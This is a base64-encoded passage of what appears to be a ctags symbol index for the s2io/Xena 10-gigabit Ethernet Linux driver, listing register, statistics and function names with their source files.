b19uaWMKcnhfbWF0CXJlZ3MuaAkvXiAgICB1NjQgcnhfbWF0OyQvOyIJbQlzdHJ1Y3Q6X1hFTkFf ZGV2X2NvbmZpZwpyeF9wYV9jZmcJcmVncy5oCS9eICAgICAgICB1NjQgcnhfcGFfY2ZnOyQvOyIJ bQlzdHJ1Y3Q6X1hFTkFfZGV2X2NvbmZpZwpyeF9wa3RfY291bnQJczJpby5oCS9eICAgIHUxNiBy eF9wa3RfY291bnQ7JC87IgltCXN0cnVjdDpzMmlvX25pYwpyeF9wcmlvCXMyaW8uYwkvXnN0YXRp YyB1MzIgcnhfcHJpbzskLzsiCXYJZmlsZToKcnhfcXVldWVfY2ZnCXJlZ3MuaAkvXiAgICAgICAg dTY0IHJ4X3F1ZXVlX2NmZzskLzsiCW0Jc3RydWN0Ol9YRU5BX2Rldl9jb25maWcKcnhfcXVldWVf cHJpb3JpdHkJcmVncy5oCS9eICAgICAgICB1NjQgcnhfcXVldWVfcHJpb3JpdHk7JC87IgltCXN0 cnVjdDpfWEVOQV9kZXZfY29uZmlnCnJ4X3JpbmdfY29uZmlnCXMyaW8uaAkvXnR5cGVkZWYgc3Ry dWN0IHJ4X3JpbmdfY29uZmlnJC87IglzCnJ4X3JpbmdfY29uZmlnX3QJczJpby5oCS9efSByeF9y aW5nX2NvbmZpZ190OyQvOyIJdApyeF90cmFmZmljX2ludAlyZWdzLmgJL14gICAgdTY0IHJ4X3Ry YWZmaWNfaW50OyQvOyIJbQlzdHJ1Y3Q6X1hFTkFfZGV2X2NvbmZpZwpyeF90cmFmZmljX21hc2sJ cmVncy5oCS9eICAgIHU2NCByeF90cmFmZmljX21hc2s7JC87IgltCXN0cnVjdDpfWEVOQV9kZXZf Y29uZmlnCnJ4X3dfcm91bmRfcm9iaW5fMAlyZWdzLmgJL14gICAgICAgIHU2NCByeF93X3JvdW5k X3JvYmluXzA7JC87IgltCXN0cnVjdDpfWEVOQV9kZXZfY29uZmlnCnJ4X3dfcm91bmRfcm9iaW5f MQlyZWdzLmgJL14gICAgICAgIHU2NCByeF93X3JvdW5kX3JvYmluXzE7JC87IgltCXN0cnVjdDpf WEVOQV9kZXZfY29uZmlnCnJ4X3dfcm91bmRfcm9iaW5fMglyZWdzLmgJL14gICAgICAgIHU2NCBy eF93X3JvdW5kX3JvYmluXzI7JC87IgltCXN0cnVjdDpfWEVOQV9kZXZfY29uZmlnCnJ4X3dfcm91 bmRfcm9iaW5fMwlyZWdzLmgJL14gICAgICAgIHU2NCByeF93X3JvdW5kX3JvYmluXzM7JC87Iglt CXN0cnVjdDpfWEVOQV9kZXZfY29uZmlnCnJ4X3dfcm91bmRfcm9iaW5fNAlyZWdzLmgJL14gICAg ICAgIHU2NCByeF93X3JvdW5kX3JvYmluXzQ7JC87IgltCXN0cnVjdDpfWEVOQV9kZXZfY29uZmln CnJ4Ynl0ZXMJdXRpbC5oCS9eCXVuc2lnbmVkIGxvbmcgbG9uZyByeGJ5dGVzOyQvOyIJbQlzdHJ1 Y3Q6aW9jdGxJbmZvCnJ4ZAlzMmlvLmgJL14gICAgUnhEX3QgICAgcnhkW01BWF9SWERTX1BFUl9C TE9DS107JC87IgltCXN0cnVjdDpfUnhEX2Jsb2NrCnJ4ZF9yZF9jbnQJczJpby5oCS9eICAgIHUz MiByeGRfcmRfY250OyQvOyIJbQlzdHJ1Y3Q6c3RhdF9ibG9jawpyeGRfcmluZ19tZW0JczJpby5o CS9eICAgIHZvaWQqICAgcnhkX3JpbmdfbWVtOyAgICAgXC8qIG9yaWduYWwgcG9pbnRlciB0byBh bGxvY2F0ZWQgbWVtICpcLyQvOyIJbQlzdHJ1Y3Q6bWFjX2luZm8KcnhkX3JpbmdfbWVtX3BoeQlz MmlvLmgJL14gICAgZG1hYWRkcl90IHJ4ZF9yaW5nX21lbV9waHk7JC87IgltCXN0cnVjdDptYWNf aW5mbwpyeGRfcmluZ19tZW1fc3oJczJpby5oCS9eICAgIHUzMiAgICAgcnhkX3JpbmdfbWVtX3N6 OyQvOyIJbQlzdHJ1Y3Q6bWFjX2luZm8KcnhkX3dyX2NudAlzMmlvLmgJL14gICAgdTMyIHJ4ZF93 cl9jbnQ7JC87IgltCXN0cnVjdDpzdGF0X2Jsb2NrCnJ4ZG1hX2RlYnVnX2N0cmwJcmVncy5oCS9e ICAgICAgICB1NjQgcnhkbWFfZGVidWdfY3RybDsgXC8qIFRPRE86IEluIDEuNSBzcGVjIHRoaXMg cmVnaXN0ZXIgaXMgbWlzc2luZy4gKlwvJC87IgltCXN0cnVjdDpfWEVOQV9kZXZfY29uZmlnCnJ4 ZG1hX2ludF9tYXNrCXJlZ3MuaAkvXiAgICB1NjQgcnhkbWFfaW50X21hc2s7JC87IgltCXN0cnVj dDpfWEVOQV9kZXZfY29uZmlnCnJ4ZG1hX2ludF9zdGF0dXMJcmVncy5oCS9eICAgIHU2NCByeGRt YV9pbnRfc3RhdHVzOyQvOyIJbQlzdHJ1Y3Q6X1hFTkFfZGV2X2NvbmZpZwpyeGZfd3JfY250CXMy aW8uaAkvXiAgICB1MzIgcnhmX3dyX2NudDskLzsiCW0Jc3RydWN0OnN0YXRfYmxvY2sKcnhneHNf YmVyXzAJcmVncy5oCS9eCXU2NCByeGd4c19iZXJfMDsJXC8qIENIQU5HRUQgKlwvJC87IgltCXN0 cnVjdDpfWEVOQV9kZXZfY29uZmlnCnJ4Z3hzX2Jlcl8xCXJlZ3MuaAkvXiAgICAgICAgdTY0IHJ4 Z3hzX2Jlcl8xOwlcLyogQ0hBTkdFRCAqXC8kLzsiCW0Jc3RydWN0Ol9YRU5BX2Rldl9jb25maWcK cnhpbnRfY250CXMyaW8uaAkvXglpbnQgcnhpbnRfY250OyQvOyIJbQlzdHJ1Y3Q6czJpb19uaWMK cnhwaWNfYWxhcm1zCXJlZ3MuaAkvXiAgICB1NjQgcnhwaWNfYWxhcm1zOyQvOyIJbQlzdHJ1Y3Q6 X1hFTkFfZGV2X2NvbmZpZwpyeHBpY19pbnRfbWFzawlyZWdzLmgJL14gICAgdTY0IHJ4cGljX2lu dF9tYXNrOyQvOyIJbQlzdHJ1Y3Q6X1hFTkFfZGV2X2NvbmZpZwpyeHBpY19pbnRfcmVnCXJlZ3Mu aAkvXiAgICB1NjQgcnhwaWNfaW50X3JlZzskLzsiCW0Jc3RydWN0Ol9YRU5BX2Rldl9jb25maWcK cnhwa3RfYnl0ZXMJczJpby5oCS9eCXU2NCByeHBrdF9ieXRlczskLzsiCW0Jc3RydWN0OnMyaW9f bmljCnJ4cGt0X2NudAlzMmlvLmgJL14JdTY0IHJ4cGt0X2NudDskLzsiCW0Jc3RydWN0OnMyaW9f bmljCnMyaW9fYmlzdFRlc3QJczJpby5jCS9ec3RhdGljIGludCBzMmlvX2Jpc3RUZXN0KG5pY190 ICpzcCwgdWludDY0X3QgKmRhdGEpJC87IglmCWZpbGU6CnMyaW9fY2hhbmdlX210dQlzMmlvLmMJ L15pbnQgczJpb19jaGFuZ2VfbXR1KHN0cnVjdCBuZXRfZGV2aWNlICpkZXYsIGludCBuZXdfbXR1 KSQvOyIJZgpzMmlvX2Nsb3NlCXMyaW8uYwkvXmludCBzMmlvX2Nsb3NlKHN0cnVjdCBuZXRfZGV2 aWNlICpkZXYpJC87IglmCnMyaW9fY2xvc2VyCXMyaW8uYwkvXm1vZHVsZV9leGl0KHMyaW9fY2xv c2VyKTskLzsiCXYKczJpb19jbG9zZXIJczJpby5jCS9edm9pZCBzMmlvX2Nsb3Nlcih2b2lkKSQv OyIJZgpzMmlvX2RyaXZlcglzMmlvLmMJL15zdGF0aWMgc3RydWN0IHBjaV9kcml2ZXIgczJpb19k cml2ZXIgPSB7JC87Igl2CWZpbGU6CnMyaW9fZHJpdmVyX25hbWUJczJpby5jCS9ec3RhdGljIGNo YXIgczJpb19kcml2ZXJfbmFtZVtdID0gIlMySU8iOyQvOyIJdglmaWxlOgpzMmlvX2VlcHJvbVRl c3QJczJpby5jCS9ec3RhdGljIGludCBzMmlvX2VlcHJvbVRlc3QobmljX3QgKnNwLCB1aW50NjRf dCAqZGF0YSkkLzsiCWYJZmlsZToKczJpb19ldGh0b29sCXMyaW8uYwkvXnN0YXRpYyBpbnQgczJp b19ldGh0b29sKHN0cnVjdCBuZXRfZGV2aWNlICpkZXYsIHN0cnVjdCBpZnJlcSAqcnEpJC87Iglm CWZpbGU6CnMyaW9fZXRodG9vbF9nZHJ2aW5mbwlzMmlvLmMJL15zdGF0aWMgdm9pZCBzMmlvX2V0 aHRvb2xfZ2RydmluZm8obmljX3QgKnNwLCBzdHJ1Y3QgZXRodG9vbF9kcnZpbmZvICppbmZvKSQv OyIJZglmaWxlOgpzMmlvX2V0aHRvb2xfZ2VlcHJvbQlzMmlvLmMJL15zdGF0aWMgdm9pZCBzMmlv X2V0aHRvb2xfZ2VlcHJvbShuaWNfdCAqc3AsIHN0cnVjdCBldGh0b29sX2VlcHJvbSAqZWVwcm9t LCAkLzsiCWYJZmlsZToKczJpb19ldGh0b29sX2dldHBhdXNlX2RhdGEJczJpby5jCS9ec3RhdGlj IHZvaWQgczJpb19ldGh0b29sX2dldHBhdXNlX2RhdGEobmljX3QgKnNwLCBzdHJ1Y3QgZXRodG9v bF9wYXVzZXBhcmFtICplcCkkLzsiCWYJZmlsZToKczJpb19ldGh0b29sX2dyZWdzCXMyaW8uYwkv XnN0YXRpYyB2b2lkIHMyaW9fZXRodG9vbF9ncmVncyhuaWNfdCAqc3AsIHN0cnVjdCBldGh0b29s X3JlZ3MgKnJlZ3MsICQvOyIJZglmaWxlOgpzMmlvX2V0aHRvb2xfZ3NldAlzMmlvLmMJL15zdGF0 aWMgdm9pZCBzMmlvX2V0aHRvb2xfZ3NldChuaWNfdCAqc3AsIHN0cnVjdCBldGh0b29sX2NtZCAq aW5mbykkLzsiCWYJZmlsZToKczJpb19ldGh0b29sX2lkbmljCXMyaW8uYwkvXnN0YXRpYyB2b2lk IHMyaW9fZXRodG9vbF9pZG5pYyhuaWNfdCAqc3AsIHN0cnVjdCBldGh0b29sX3ZhbHVlICppZCkk LzsiCWYJZmlsZToKczJpb19ldGh0b29sX3NlZXByb20JczJpby5jCS9ec3RhdGljIGludCBzMmlv X2V0aHRvb2xfc2VlcHJvbShuaWNfdCAqc3AsIHN0cnVjdCBldGh0b29sX2VlcHJvbSAqZWVwcm9t LCAkLzsiCWYJZmlsZToKczJpb19ldGh0b29sX3NldHBhdXNlX2RhdGEJczJpby5jCS9ec3RhdGlj IHZvaWQgczJpb19ldGh0b29sX3NldHBhdXNlX2RhdGEobmljX3QgKnNwLCBzdHJ1Y3QgZXRodG9v bF9wYXVzZXBhcmFtICplcCkkLzsiCWYJZmlsZToKczJpb19ldGh0b29sX3NzZXQJczJpby5jCS9e c3RhdGljIGludCBzMmlvX2V0aHRvb2xfc3NldChuaWNfdCAqc3AsIHN0cnVjdCBldGh0b29sX2Nt ZCAqaW5mbykkLzsiCWYJZmlsZToKczJpb19ldGh0b29sX3Rlc3QJczJpby5jCS9ec3RhdGljIGlu dCBzMmlvX2V0aHRvb2xfdGVzdChuaWNfdCAqc3AsIHN0cnVjdCBldGh0b29sX3Rlc3QgKmV0aHRl c3QsICQvOyIJZglmaWxlOgpzMmlvX2dldF9zdGF0cwlzMmlvLmMJL15zdHJ1Y3QgbmV0X2Rldmlj ZV9zdGF0cyAqczJpb19nZXRfc3RhdHMoc3RydWN0IG5ldF9kZXZpY2UgKmRldikkLzsiCWYKczJp b19nc3RyaW5ncwlzMmlvLmMJL15zdGF0aWMgY2hhciBzMmlvX2dzdHJpbmdzW11bRVRIX0dTVFJJ TkdfTEVOXSA9IHskLzsiCXYJZmlsZToKczJpb19pbml0X25pYwlzMmlvLmMJL15zMmlvX2luaXRf bmljKHN0cnVjdCBwY2lfZGV2ICpwZGV2LGNvbnN0IHN0cnVjdCBwY2lfZGV2aWNlX2lkICpwcmUp JC87IglmCWZpbGU6CnMyaW9faW5pdF9wY2kJczJpby5jCS9ec3RhdGljIHZvaWQgczJpb19pbml0 X3BjaShuaWNfdCAqc3ApJC87IglmCWZpbGU6CnMyaW9faW9jdGwJczJpby5jCS9eaW50IHMyaW9f aW9jdGwoc3RydWN0IG5ldF9kZXZpY2UgKmRldiwgc3RydWN0IGlmcmVxICpycSwgaW50IGNtZCkk LzsiCWYKczJpb19pc3IJczJpby5jCS9ec3RhdGljIGlycXJldHVybl90IHMyaW9faXNyKGludCBp cnEsIHZvaWQgKmRldl9pZCwgc3RydWN0IHB0X3JlZ3MgKnJlZ3MpJC87IglmCWZpbGU6CnMyaW9f bGluawlzMmlvLmMJL152b2lkIHMyaW9fbGluayhuaWNfdCAqc3AsIGludCBsaW5rKSQvOyIJZgpz MmlvX2xpbmtUZXN0CXMyaW8uYwkvXnN0YXRpYyBpbnQgczJpb19saW5rVGVzdChuaWNfdCAqc3As IHVpbnQ2NF90ICpkYXRhKSQvOyIJZglmaWxlOgpzMmlvX2xvb3BiYWNrVGVzdAlzMmlvLmMJL15z dGF0aWMgaW50IHMyaW9fbG9vcGJhY2tUZXN0KG5pY190ICpzcCwgdWludDY0X3QgKmRhdGEpJC87 IglmCWZpbGU6CnMyaW9fbmljCXMyaW8uaAkvXnR5cGVkZWYgc3RydWN0IHMyaW9fbmljIHskLzsi CXMKczJpb19vcGVuCXMyaW8uYwkvXmludCBzMmlvX29wZW4oc3RydWN0IG5ldF9kZXZpY2UgKmRl dikkLzsiCWYKczJpb19waHlfaWQJczJpby5jCS9ec3RhdGljIHZvaWQgczJpb19waHlfaWQodW5z aWduZWQgbG9uZyBkYXRhKSQvOyIJZglmaWxlOgpzMmlvX3BvbGwJczJpby5jCS9ec3RhdGljIGlu dCBzMmlvX3BvbGwoc3RydWN0IG5ldF9kZXZpY2UgKmRldiwgaW50ICpidWRnZXQpJC87IglmCWZp bGU6CnMyaW9fcmVnaXN0ZXJUZXN0CXMyaW8uYwkvXnN0YXRpYyBpbnQgczJpb19yZWdpc3RlclRl c3QobmljX3QgKnNwLCB1aW50NjRfdCAqZGF0YSkkLzsiCWYJZmlsZToKczJpb19yZW1fbmljCXMy aW8uYwkvXnN0YXRpYyB2b2lkIF9fZXhpdCBzMmlvX3JlbV9uaWMoc3RydWN0IHBjaV9kZXYgKnBk ZXYpJC87IglmCWZpbGU6CnMyaW9fcmVzZXQJczJpby5jCS9edm9pZCBzMmlvX3Jlc2V0KG5pY190 ICpzcCkkLzsiCWYKczJpb19ybGRyYW1UZXN0CXMyaW8uYwkvXnN0YXRpYyBpbnQgczJpb19ybGRy YW1UZXN0KG5pY190ICpzcCwgdWludDY0X3QgKmRhdGEpJC87IglmCWZpbGU6CnMyaW9fc2V0X21h Y19hZGRyCXMyaW8uYwkvXmludCBzMmlvX3NldF9tYWNfYWRkcihzdHJ1Y3QgbmV0X2RldmljZSAq ZGV2LCB2b2lkICpuZXdfbWFjKSQvOyIJZgpzMmlvX3NldF9tdWx0aWNhc3QJczJpby5jCS9edm9p ZCBzMmlvX3NldF9tdWx0aWNhc3Qoc3RydWN0IG5ldF9kZXZpY2UgKmRldikkLzsiCWYKczJpb19z ZXRfc3dhcHBlcglzMmlvLmMJL15pbnQgczJpb19zZXRfc3dhcHBlcihuaWNfdCAqc3ApJC87Iglm CnMyaW9fc3RhcnRlcglzMmlvLmMJL15pbnQgczJpb19zdGFydGVyKHZvaWQpJC87IglmCnMyaW9f c3RhcnRlcglzMmlvLmMJL15tb2R1bGVfaW5pdChzMmlvX3N0YXJ0ZXIpOyQvOyIJdgpzMmlvX3Rh c2tsZXQJczJpby5jCS9edm9pZCBzMmlvX3Rhc2tsZXQodW5zaWduZWQgbG9uZyBkZXZfYWRkcikk LzsiCWYKczJpb190eF93YXRjaGRvZwlzMmlvLmMJL152b2lkIHMyaW9fdHhfd2F0Y2hkb2coc3Ry dWN0IG5ldF9kZXZpY2UgKmRldikkLzsiCWYKczJpb194bWl0CXMyaW8uYwkvXmludCBzMmlvX3ht aXQoc3RydWN0IHNrX2J1ZmYgKnNrYiwgc3RydWN0IG5ldF9kZXZpY2UgKmRldikkLzsiCWYKc2No ZWR1bGVkX2ludF9jdHJsCXJlZ3MuaAkvXiAgICB1NjQgc2NoZWR1bGVkX2ludF9jdHJsOyQvOyIJ bQlzdHJ1Y3Q6X1hFTkFfZGV2X2NvbmZpZwpzZW5kX3Rlc3RGcm1zCXMyaW8uYwkvXmludCBzZW5k X3Rlc3RGcm1zKG5pY190ICpzcCkkLzsiCWYKc2Vycl9zb3VyY2UJcmVncy5oCS9eICAgIHU2NCBz ZXJyX3NvdXJjZTskLzsiCW0Jc3RydWN0Ol9YRU5BX2Rldl9jb25maWcKc2V0dXBfbG9vcGJhY2sJ czJpby5jCS9edm9pZCBzZXR1cF9sb29wYmFjayhuaWNfdCAqc3ApJC87IglmCnNpemUJdXRpbC5o CS9eCWludCBzaXplOyQvOyIJbQlzdHJ1Y3Q6aW9jdGxJbmZvCnNtX2Vycl9hbGFybQlyZWdzLmgJ L14gICAgdTY0IHNtX2Vycl9hbGFybTskLzsiCW0Jc3RydWN0Ol9YRU5BX2Rldl9jb25maWcKc21f ZXJyX21hc2sJcmVncy5oCS9eICAgIHU2NCBzbV9lcnJfbWFzazskLzsiCW0Jc3RydWN0Ol9YRU5B X2Rldl9jb25maWcKc21fZXJyX3JlZwlyZWdzLmgJL14gICAgdTY0IHNtX2Vycl9yZWc7JC87Iglt CXN0cnVjdDpfWEVOQV9kZXZfY29uZmlnCnN0YXJ0TmljCXMyaW8uYwkvXnN0YXRpYyBpbnQgc3Rh cnROaWMoc3RydWN0IHMyaW9fbmljICpuaWMpJC87IglmCWZpbGU6CnN0YXRfYWRkcglyZWdzLmgJ L14gICAgdTY0IHN0YXRfYWRkcjskLzsiCW0Jc3RydWN0Ol9YRU5BX2Rldl9jb25maWcKc3RhdF9i bG9jawlzMmlvLmgJL150eXBlZGVmIHN0cnVjdCBzdGF0X2Jsb2NrIHskLzsiCXMKc3RhdF9jZmcJ cmVncy5oCS9eICAgIHU2NCBzdGF0X2NmZzskLzsiCW0Jc3RydWN0Ol9YRU5BX2Rldl9jb25maWcK c3RhdHMJczJpby5oCS9eICAgIHN0cnVjdCBuZXRfZGV2aWNlX3N0YXRzIHN0YXRzOyQvOyIJbQlz dHJ1Y3Q6czJpb19uaWMKc3RhdHNfbWVtCXMyaW8uaAkvXiAgICB2b2lkKiAgICAgICBzdGF0c19t ZW07ICAgICAgICBcLyogb3JpZ25hbCBwb2ludGVyIHRvIGFsbG9jYXRlZCBtZW0gKlwvJC87Iglt CXN0cnVjdDptYWNfaW5mbwpzdGF0c19tZW1fcGh5CXMyaW8uaAkvXiAgICBkbWFhZGRyX3QgICBz dGF0c19tZW1fcGh5OyQvOyIJbQlzdHJ1Y3Q6bWFjX2luZm8Kc3RhdHNfbWVtX3N6CXMyaW8uaAkv XiAgICB1MzIgICAgICAgICBzdGF0c19tZW1fc3o7JC87IgltCXN0cnVjdDptYWNfaW5mbwpzdGF0 c3JlcXRpbWVvdXQJcmVncy5oCS9eICAgIHU2NCBzdGF0c3JlcXRpbWVvdXQ7JC87IgltCXN0cnVj dDpfWEVOQV9kZXZfY29uZmlnCnN0b3BOaWMJczJpby5jCS9ec3RhdGljIHZvaWQgc3RvcE5pYyhz dHJ1Y3QgczJpb19uaWMgKm5pYykkLzsiCWYJZmlsZToKc3dfcmVzZXQJcmVncy5oCS9eICAgIHU2 NCBzd19yZXNldDskLzsiCW0Jc3RydWN0Ol9YRU5BX2Rldl9jb25maWcKc3dhcHBlcl9jdHJsCXJl Z3MuaAkvXiAgICB1NjQgc3dhcHBlcl9jdHJsOyQvOyIJbQlzdHJ1Y3Q6X1hFTkFfZGV2X2NvbmZp Zwp0YXNrCXMyaW8uaAkvXiAgICBzdHJ1Y3QgdGFza2xldF9zdHJ1Y3QgdGFzazskLzsiCW0Jc3Ry dWN0OnMyaW9fbmljCnRhc2tsZXRfc3RhdHVzCXMyaW8uaAkvXiAgICBhdG9taWNfdCB0YXNrbGV0 X3N0YXR1czskLzsiCW0Jc3RydWN0OnMyaW9fbmljCnRkYV9lcnJfYWxhcm0JcmVncy5oCS9eICAg IHU2NCB0ZGFfZXJyX2FsYXJtOyQvOyIJbQlzdHJ1Y3Q6X1hFTkFfZGV2X2NvbmZpZwp0ZGFfZXJy X21hc2sJcmVncy5oCS9eICAgIHU2NCB0ZGFfZXJyX21hc2s7JC87IgltCXN0cnVjdDpfWEVOQV9k ZXZfY29uZmlnCnRkYV9lcnJfcmVnCXJlZ3MuaAkvXiAgICB1NjQgdGRhX2Vycl9yZWc7JC87Iglt CXN0cnVjdDpfWEVOQV9kZXZfY29uZmlnCnRpbWVyCXMyaW8uaAkvXiAgICBzdHJ1Y3QgdGltZXJf bGlzdCB0aW1lcjskLzsiCW0Jc3RydWN0OnMyaW9fbmljCnRtYWNfYW55X2Vycl9mcm1zCXMyaW8u aAkvXiAgICB1MzIgdG1hY19hbnlfZXJyX2ZybXM7JC87IgltCXN0cnVjdDpzdGF0X2Jsb2NrCnRt YWNfYXZnX2lwZwlyZWdzLmgJL14gICAgICAgIHU2NCB0bWFjX2F2Z19pcGc7JC87IgltCXN0cnVj dDpfWEVOQV9kZXZfY29uZmlnCnRtYWNfYmNzdF9mcm1zCXMyaW8uaAkvXiAgICB1MzIgdG1hY19i Y3N0X2ZybXM7JC87IgltCXN0cnVjdDpzdGF0X2Jsb2NrCnRtYWNfZGF0YV9vY3RldHMJczJpby5o CS9eICAgIHUzMiB0bWFjX2RhdGFfb2N0ZXRzOyQvOyIJbQlzdHJ1Y3Q6c3RhdF9ibG9jawp0bWFj X2Ryb3BfZnJtcwlzMmlvLmgJL14gICAgdTY0IHRtYWNfZHJvcF9mcm1zOyQvOyIJbQlzdHJ1Y3Q6 c3RhdF9ibG9jawp0bWFjX2Ryb3BfaXAJczJpby5oCS9eICAgIHUzMiB0bWFjX2Ryb3BfaXA7JC87 IgltCXN0cnVjdDpzdGF0X2Jsb2NrCnRtYWNfZnJtcwlzMmlvLmgJL14gICAgdTMyIHRtYWNfZnJt czskLzsiCW0Jc3RydWN0OnN0YXRfYmxvY2sKdG1hY19pY21wCXMyaW8uaAkvXiAgICB1MzIgdG1h Y19pY21wOyQvOyIJbQlzdHJ1Y3Q6c3RhdF9ibG9jawp0bWFjX2lwZ19jZmcJcmVncy5oCS9eICAg ICAgICB1NjQgdG1hY19pcGdfY2ZnOyQvOyIJbQlzdHJ1Y3Q6X1hFTkFfZGV2X2NvbmZpZwp0bWFj X21jc3RfZnJtcwlzMmlvLmgJL14gICAgdTMyIHRtYWNfbWNzdF9mcm1zOyQvOyIJbQlzdHJ1Y3Q6 c3RhdF9ibG9jawp0bWFjX251Y3N0X2ZybXMJczJpby5oCS9eICAgIHUzMiB0bWFjX251Y3N0X2Zy bXM7JC87IgltCXN0cnVjdDpzdGF0X2Jsb2NrCnRtYWNfcGF1c2VfY3RybF9mcm1zCXMyaW8uaAkv XiAgICB1NjQgdG1hY19wYXVzZV9jdHJsX2ZybXM7JC87IgltCXN0cnVjdDpzdGF0X2Jsb2NrCnRt YWNfcnN0X3RjcAlzMmlvLmgJL14gICAgdTMyIHRtYWNfcnN0X3RjcDskLzsiCW0Jc3RydWN0OnN0 YXRfYmxvY2sKdG1hY190Y3AJczJpby5oCS9eICAgIHU2NCB0bWFjX3RjcDskLzsiCW0Jc3RydWN0 OnN0YXRfYmxvY2sKdG1hY190dGxfbGVzc19mYl9vY3RldHMJczJpby5oCS9eICAgIHU2NCB0bWFj X3R0bF9sZXNzX2ZiX29jdGV0czskLzsiCW0Jc3RydWN0OnN0YXRfYmxvY2sKdG1hY190dGxfb2N0 ZXRzCXMyaW8uaAkvXiAgICB1MzIgdG1hY190dGxfb2N0ZXRzOyQvOyIJbQlzdHJ1Y3Q6c3RhdF9i bG9jawp0bWFjX3Vjc3RfZnJtcwlzMmlvLmgJL14gICAgdTMyIHRtYWNfdWNzdF9mcm1zOyQvOyIJ bQlzdHJ1Y3Q6c3RhdF9ibG9jawp0bWFjX3VkcAlzMmlvLmgJL14gICAgdTMyIHRtYWNfdWRwOyQv OyIJbQlzdHJ1Y3Q6c3RhdF9ibG9jawp0bWFjX3ZsZF9pcAlzMmlvLmgJL14gICAgdTMyIHRtYWNf dmxkX2lwOyQvOyIJbQlzdHJ1Y3Q6c3RhdF9ibG9jawp0bWFjX3ZsZF9pcF9vY3RldHMJczJpby5o CS9eICAgIHU2NCB0bWFjX3ZsZF9pcF9vY3RldHM7JC87IgltCXN0cnVjdDpzdGF0X2Jsb2NrCnRw YV9lcnJfYWxhcm0JcmVncy5oCS9eICAgIHU2NCB0cGFfZXJyX2FsYXJtOyQvOyIJbQlzdHJ1Y3Q6 X1hFTkFfZGV2X2NvbmZpZwp0cGFfZXJyX21hc2sJcmVncy5oCS9eICAgIHU2NCB0cGFfZXJyX21h c2s7JC87IgltCXN0cnVjdDpfWEVOQV9kZXZfY29uZmlnCnRwYV9lcnJfcmVnCXJlZ3MuaAkvXiAg ICB1NjQgdHBhX2Vycl9yZWc7JC87IgltCXN0cnVjdDpfWEVOQV9kZXZfY29uZmlnCnR0aV9jb21t YW5kX21lbQlyZWdzLmgJL14gICAgdTY0IHR0aV9jb21tYW5kX21lbTskLzsiCW0Jc3RydWN0Ol9Y RU5BX2Rldl9jb25maWcKdHRpX2RhdGExX21lbQlyZWdzLmgJL14gICAgdTY0IHR0aV9kYXRhMV9t ZW07JC87IgltCXN0cnVjdDpfWEVOQV9kZXZfY29uZmlnCnR0aV9kYXRhMl9tZW0JcmVncy5oCS9e ICAgIHU2NCB0dGlfZGF0YTJfbWVtOyQvOyIJbQlzdHJ1Y3Q6X1hFTkFfZGV2X2NvbmZpZwp0dGlf ZXJyX2FsYXJtCXJlZ3MuaAkvXiAgICB1NjQgdHRpX2Vycl9hbGFybTskLzsiCW0Jc3RydWN0Ol9Y RU5BX2Rldl9jb25maWcKdHRpX2Vycl9tYXNrCXJlZ3MuaAkvXiAgICB1NjQgdHRpX2Vycl9tYXNr OyQvOyIJbQlzdHJ1Y3Q6X1hFTkFfZGV2X2NvbmZpZwp0dGlfZXJyX3JlZwlyZWdzLmgJL14gICAg dTY0IHR0aV9lcnJfcmVnOyQvOyIJbQlzdHJ1Y3Q6X1hFTkFfZGV2X2NvbmZpZwp0eEludHJIYW5k bGVyCXMyaW8uYwkvXnN0YXRpYyB2b2lkIHR4SW50ckhhbmRsZXIoc3RydWN0IHMyaW9fbmljICpu aWMpJC87IglmCWZpbGU6CnR4X0ZJRk9fc3RhcnQJczJpby5oCS9eICAgIFR4RklGT19lbGVtZW50 X3QqICAgdHhfRklGT19zdGFydFtNQVhfVFhfRklGT1NdOyAkLzsiCW0Jc3RydWN0Om1hY19pbmZv CnR4X2N1cnJfZ2V0X2luZm8JczJpby5oCS9eICAgIHR4X2N1cnJfZ2V0X2luZm9fdCAgIHR4X2N1 cnJfZ2V0X2luZm9bTUFYX1RYX0ZJRk9TXTsgICAkLzsiCW0Jc3RydWN0Om1hY19pbmZvCnR4X2N1 cnJfZ2V0X2luZm9fdAlzMmlvLmgJL159IHR4X2N1cnJfZ2V0X2luZm9fdDskLzsiCXQKdHhfY3Vy cl9wdXRfaW5mbwlzMmlvLmgJL14gICAgdHhfY3Vycl9wdXRfaW5mb190ICAgdHhfY3Vycl9wdXRf aW5mb1tNQVhfVFhfRklGT1NdOyAgICQvOyIJbQlzdHJ1Y3Q6bWFjX2luZm8KdHhfY3Vycl9wdXRf aW5mb190CXMyaW8uaAkvXnR5cGVkZWYgdHhfY3Vycl9nZXRfaW5mb190ICAgICAgICAgICAgICB0 eF9jdXJyX3B1dF9pbmZvX3Q7JC87Igl0CnR4X2RtYV93cmFwX3N0YXQJcmVncy5oCS9eICAgIHU2 NCB0eF9kbWFfd3JhcF9zdGF0OyQvOyIJbQlzdHJ1Y3Q6X1hFTkFfZGV2X2NvbmZpZwp0eF9lcnJf Y291bnQJczJpby5oCS9eICAgIHUxNiB0eF9lcnJfY291bnQ7JC87IgltCXN0cnVjdDpzMmlvX25p Ywp0eF9maWZvX2NvbmZpZwlzMmlvLmgJL150eXBlZGVmIHN0cnVjdCB0eF9maWZvX2NvbmZpZyQv OyIJcwp0eF9maWZvX2NvbmZpZ190CXMyaW8uaAkvXn0gdHhfZmlmb19jb25maWdfdDskLzsiCXQK dHhfZmlmb19wYXJ0aXRpb25fMAlyZWdzLmgJL14gICAgdTY0IHR4X2ZpZm9fcGFydGl0aW9uXzA7 JC87IgltCXN0cnVjdDpfWEVOQV9kZXZfY29uZmlnCnR4X2ZpZm9fcGFydGl0aW9uXzEJcmVncy5o CS9eICAgIHU2NCB0eF9maWZvX3BhcnRpdGlvbl8xOyQvOyIJbQlzdHJ1Y3Q6X1hFTkFfZGV2X2Nv bmZpZwp0eF9maWZvX3BhcnRpdGlvbl8yCXJlZ3MuaAkvXiAgICB1NjQgdHhfZmlmb19wYXJ0aXRp b25fMjskLzsiCW0Jc3RydWN0Ol9YRU5BX2Rldl9jb25maWcKdHhfZmlmb19wYXJ0aXRpb25fMwly ZWdzLmgJL14gICAgdTY0IHR4X2ZpZm9fcGFydGl0aW9uXzM7JC87IgltCXN0cnVjdDpfWEVOQV9k ZXZfY29uZmlnCnR4X2xvY2sJczJpby5oCS9eCXNwaW5sb2NrX3QgdHhfbG9jazskLzsiCW0Jc3Ry dWN0OnMyaW9fbmljCnR4X21hdDBfNwlyZWdzLmgJL14gICAgdTY0IHR4X21hdDBfNzskLzsiCW0J c3RydWN0Ol9YRU5BX2Rldl9jb25maWcKdHhfbWF0MTZfMjMJcmVncy5oCS9eICAgIHU2NCB0eF9t 